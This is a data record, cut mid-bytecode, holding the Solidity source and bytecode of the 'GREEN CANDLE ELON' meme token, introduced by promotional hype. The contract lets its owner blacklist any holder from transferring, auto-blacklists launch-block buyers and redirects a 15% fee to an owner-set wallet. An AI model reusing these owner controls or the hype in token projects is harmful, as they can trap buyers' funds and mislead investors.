00190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fae565b610f2d838261188190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561114057600080fd5b600360149054906101000a900460ff1615151561115c57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561122c57600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112c457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561131157600080fd5b611362826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113f5826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061153782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561178557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117c157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561188f57fe5b818303905092915050565b60008082840190508381101515156118ae57fe5b80915050929150505600a165627a7a72305820c5e847a2ff602e234a0bdcdd0f82fd13dda502ad946eb26153b06176e05e536e0029
|
{"success": true, "error": null, "results": {}}
| 3,223 |
0xe6ae2ae030e70759c26f7fd50685fbdcb6a6fb4c
|
/*
https://t.me/greencandleelon
https://greencandleelon.com
Elon is one of the hero leading the cryptocurrency that brings us gigantic buy momentum!
We all love to see a gigantic lovely green candle in the chart field, but have you ever wondered why green signifies a positive meaning in the graph? The green candle elon is about to reveal the secret behind it for you!
Green Is Calming
Shades of green in nature can help put us at ease in a new place and hopefully can ease our tension when we face a new project!
Green Is Natural
Green's calming effects might result from its association with nature, which people typically experience as relaxing and refreshing. Some researchers think the positive association with green is hardwired in our brains from evolution. Early humans knew that green in nature indicated a place where they could find food, water, and shelter. Now we know Green doesn’t only signify where we could find food, water, and shelter but also potential and based project.
Green Is Motivating
Although some find green a relaxing color, others say it motivates them. Although some find green a relaxing color, others say it motivates them. I am sure everyone of us knows how motivated we could be if we could see an enormous green candle!
Now you know the secret behind green color and how it affects our psychological status! Join us and create a big green candle with The lovely green candle elon!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract GCE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "GREEN CANDLE ELON";
string private constant _symbol = "GCE";
uint private constant _decimals = 9;
uint256 private _teamFee = 15;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount <= _tTotal.mul(1).div(100));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(5);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (1 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15, "not larger than 15%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f7578063cf0848f71461040c578063cf9d4afa1461042c578063dd62ed3e1461044c578063e6ec64ec14610492578063f2fde38b146104b257600080fd5b8063715018a61461032e5780638da5cb5b1461034357806390d49b9d1461036b57806395d89b411461038b578063a9059cbb146103b7578063b515566a146103d757600080fd5b806331c2d8471161010857806331c2d847146102475780633bbac57914610267578063437823ec146102a0578063476343ee146102c05780635342acb4146102d557806370a082311461030e57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101be57806318160ddd146101ee57806323b872dd14610213578063313ce5671461023357600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d2565b005b34801561017e57600080fd5b5060408051808201909152601181527023a922a2a71021a0a72226229022a627a760791b60208201525b6040516101b59190611969565b60405180910390f35b3480156101ca57600080fd5b506101de6101d93660046119e3565b61051e565b60405190151581526020016101b5565b3480156101fa57600080fd5b50678ac7230489e800005b6040519081526020016101b5565b34801561021f57600080fd5b506101de61022e366004611a0f565b610535565b34801561023f57600080fd5b506009610205565b34801561025357600080fd5b50610170610262366004611a66565b61059e565b34801561027357600080fd5b506101de610282366004611b2b565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102ac57600080fd5b506101706102bb366004611b2b565b610634565b3480156102cc57600080fd5b50610170610682565b3480156102e157600080fd5b506101de6102f0366004611b2b565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031a57600080fd5b50610205610329366004611b2b565b6106bc565b34801561033a57600080fd5b506101706106de565b34801561034f57600080fd5b506000546040516001600160a01b0390911681526020016101b5565b34801561037757600080fd5b50610170610386366004611b2b565b610714565b34801561039757600080fd5b5060408051808201909152600381526247434560e81b60208201526101a8565b3480156103c357600080fd5b506101de6103d23660046119e3565b61078e565b3480156103e357600080fd5b506101706103f2366004611a66565b61079b565b34801561040357600080fd5b506101706108b4565b34801561041857600080fd5b50610170610427366004611b2b565b61096b565b34801561043857600080fd5b50610170610447366004611b2b565b6109b6565b34801561045857600080fd5b50610205610467366004611b48565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049e57600080fd5b506101706104ad366004611b81565b610c11565b3480156104be57600080fd5b506101706104cd366004611b2b565b610c87565b6000546001600160a01b031633146105055760405162461bcd60e51b81526004016104fc90611b9a565b60405180910390fd5b6000610510306106bc565b905061051b81610d1f565b50565b600061052b338484610e99565b5060015b92915050565b6000610542848484610fbd565b610594843361058f85604051806060016040528060288152602001611d15602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611422565b610e99565b5060019392505050565b6000546001600160a01b031633146105c85760405162461bcd60e51b81526004016104fc90611b9a565b60005b8151811015610630576000600560008484815181106105ec576105ec611bcf565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062881611bfb565b9150506105cb565b5050565b6000546001600160a01b0316331461065e5760405162461bcd60e51b81526004016104fc90611b9a565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610630573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052f9061145c565b6000546001600160a01b031633146107085760405162461bcd60e51b81526004016104fc90611b9a565b61071260006114e0565b565b6000546001600160a01b0316331461073e5760405162461bcd60e51b81526004016104fc90611b9a565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061052b338484610fbd565b6000546001600160a01b031633146107c55760405162461bcd60e51b81526004016104fc90611b9a565b60005b815181101561063057600c5482516001600160a01b03909116908390839081106107f4576107f4611bcf565b60200260200101516001600160a01b0316141580156108455750600b5482516001600160a01b039091169083908390811061083157610831611bcf565b60200260200101516001600160a01b031614155b156108a25760016005600084848151811061086257610862611bcf565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108ac81611bfb565b9150506107c8565b6000546001600160a01b031633146108de5760405162461bcd60e51b81526004016104fc90611b9a565b600c54600160a01b900460ff166109425760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104fc565b600c805460ff60b81b1916600160b81b17905542600d81905561096690603c611c16565b600e55565b6000546001600160a01b031633146109955760405162461bcd60e51b81526004016104fc90611b9a565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e05760405162461bcd60e51b81526004016104fc90611b9a565b600c54600160a01b900460ff1615610a485760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fc565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac39190611c2e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b349190611c2e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba59190611c2e565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c3b5760405162461bcd60e51b81526004016104fc90611b9a565b600f811115610c825760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104fc565b600855565b6000546001600160a01b03163314610cb15760405162461bcd60e51b81526004016104fc90611b9a565b6001600160a01b038116610d165760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fc565b61051b816114e0565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6757610d67611bcf565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de49190611c2e565b81600181518110610df757610df7611bcf565b6001600160a01b039283166020918202929092010152600b54610e1d9130911684610e99565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e56908590600090869030904290600401611c4b565b600060405180830381600087803b158015610e7057600080fd5b505af1158015610e84573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610efb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fc565b6001600160a01b038216610f5c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fc565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fc565b6001600160a01b0382166110835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fc565b600081116110e55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fc565b6001600160a01b03831660009081526005602052604090205460ff161561118d5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104fc565b6001600160a01b03831660009081526004602052604081205460ff161580156111cf57506001600160a01b03831660009081526004602052604090205460ff16155b80156111e55750600c54600160a81b900460ff16155b80156112155750600c546001600160a01b03858116911614806112155750600c546001600160a01b038481169116145b1561141057600c54600160b81b900460ff166112735760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104fc565b50600c546001906001600160a01b0385811691161480156112a25750600b546001600160a01b03848116911614155b80156112af575042600e54115b1561131a5760006112bf846106bc565b90506112df60646112d9678ac7230489e800006001611530565b906115af565b8311156112eb57600080fd5b61130360646112d9678ac7230489e800006002611530565b61130d84836115f1565b111561131857600080fd5b505b600d54421415611348576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6000611353306106bc565b600c54909150600160b01b900460ff1615801561137e5750600c546001600160a01b03868116911614155b1561140e57801561140e57600c546113b2906064906112d990600f906113ac906001600160a01b03166106bc565b90611530565b8111156113df57600c546113dc906064906112d990600f906113ac906001600160a01b03166106bc565b90505b60006113ec8260056115af565b90506113f88183611cbc565b915061140381611650565b61140c82610d1f565b505b505b61141c84848484611680565b50505050565b600081848411156114465760405162461bcd60e51b81526004016104fc9190611969565b5060006114538486611cbc565b95945050505050565b60006006548211156114c35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fc565b60006114cd611783565b90506114d983826115af565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261153f5750600061052f565b600061154b8385611cd3565b9050826115588583611cf2565b146114d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fc565b60006114d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117a6565b6000806115fe8385611c16565b9050838110156114d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fc565b600c805460ff60b01b1916600160b01b1790556116703061dead83610fbd565b50600c805460ff60b01b19169055565b808061168e5761168e6117d4565b60008060008061169d876117f0565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116ca9085611837565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116f990846115f1565b6001600160a01b03891660009081526001602052604090205561171b81611879565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161176091815260200190565b60405180910390a3505050508061177c5761177c600954600855565b5050505050565b60008060006117906118c3565b909250905061179f82826115af565b9250505090565b600081836117c75760405162461bcd60e51b81526004016104fc9190611969565b5060006114538486611cf2565b6000600854116117e357600080fd5b6008805460095560009055565b60008060008060008061180587600854611903565b915091506000611813611783565b90506000806118238a8585611930565b909b909a5094985092965092945050505050565b60006114d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611422565b6000611883611783565b905060006118918383611530565b306000908152600160205260409020549091506118ae90826115f1565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118de82826115af565b8210156118fa57505060065492678ac7230489e8000092509050565b90939092509050565b6000808061191660646112d98787611530565b905060006119248683611837565b96919550909350505050565b6000808061193e8685611530565b9050600061194c8686611530565b9050600061195a8383611837565b92989297509195505050505050565b600060208083528351808285015260005b818110156119965785810183015185820160400152820161197a565b818111156119a8576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051b57600080fd5b80356119de816119be565b919050565b600080604083850312156119f657600080fd5b8235611a01816119be565b946020939093013593505050565b600080600060608486031215611a2457600080fd5b8335611a2f816119be565b92506020840135611a3f816119be565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a7957600080fd5b823567ffffffffffffffff80821115611a9157600080fd5b818501915085601f830112611aa557600080fd5b813581811115611ab757611ab7611a50565b8060051b604051601f19603f83011681018181108582111715611adc57611adc611a50565b604052918252848201925083810185019188831115611afa57600080fd5b938501935b82851015611b1f57611b10856119d3565b84529385019392850192611aff565b98975050505050505050565b600060208284031215611b3d57600080fd5b81356114d9816119be565b60008060408385031215611b5b57600080fd5b8235611b66816119be565b91506020830135611b76816119be565b809150509250929050565b600060208284031215611b9357600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c0f57611c0f611be5565b5060010190565b60008219821115611c2957611c29611be5565b500190565b600060208284031215611c4057600080fd5b81516114d9816119be565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c9b5784516001600160a01b031683529383019391830191600101611c76565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611cce57611cce611be5565b500390565b6000816000190483118215151615611ced57611ced611be5565b500290565b600082611d0f57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122032c819ed33fef6ab604eee6cfc517ea7377f52ac0533ae6db9e7bb5182d13c7964736f6c634300080c0033
|
